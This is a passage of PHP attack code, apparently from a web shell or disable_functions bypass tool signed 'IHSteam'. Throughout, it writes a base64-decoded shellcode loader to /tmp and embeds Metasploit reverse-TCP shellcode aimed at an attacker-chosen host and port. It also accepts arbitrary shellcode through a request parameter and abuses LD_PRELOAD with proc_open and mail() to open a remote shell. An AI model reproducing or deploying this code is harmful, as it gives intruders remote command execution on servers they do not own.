(!function_exists('file_put_contents')){ function file_put_contents($filename, $data){ $f = @fopen($filename, 'w'); if (!$f){ return false; } else{ $bytes = fwrite($f, $data); fclose($f); return $bytes; } } } // Note: change kolang.php and shellcode loader if sys_get_temp_dir()!='/tmp' file_put_contents('/tmp/shellcode.so' , base64_decode($shellcode_loader)); $ip = gethostbyname($host); $port1 = sprintf('%c', ($port>> 8)&255 ); $port2 = sprintf('%c', ($port>> 0)&255 ); $part = explode('.', $ip); //$HEXIP = sprintf('%02x%02x%02x%02x', $part[0], $part[1], $part[2], $part[3]); $STRINGIP = sprintf('%c%c%c%c', $part[0], $part[1], $part[2], $part[3]); /* * linux/x86/shell_reverse_tcp - 71 bytes * http://www.metasploit.com * Encoder: generic/none * LHOST=$STRINGIP, LPORT=$port1.$port2, ReverseConnectRetries=5, * PrependSetresuid=false, PrependSetreuid=false, * PrependSetuid=false, PrependChrootBreak=false, * AppendExit=false */ $Xshellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80". "\x5b\x5e\x68".$STRINGIP."\x66\x68".$port1.$port2."\x66\x53\x6a\x10". "\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f". "\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69". "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x00" ; if(isset(
___FCKpd___0
REQUEST['shellcode'])){ // just for fans of metasploit $Xshellcode=base64_decode(
___FCKpd___0
REQUEST['shellcode']); } file_put_contents("/tmp/.X11-IHSTEAM", $Xshellcode); $cwd = '/tmp/'; $env = array('LD_PRELOAD' => '/tmp/shellcode.so'); unset($var); $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w")); // BOOM proc_open('IHSteam', $descriptorspec, $var, $cwd, $env); mail("IHSteam","IHSteam","IHSteam","IHSteam"); ?>

 
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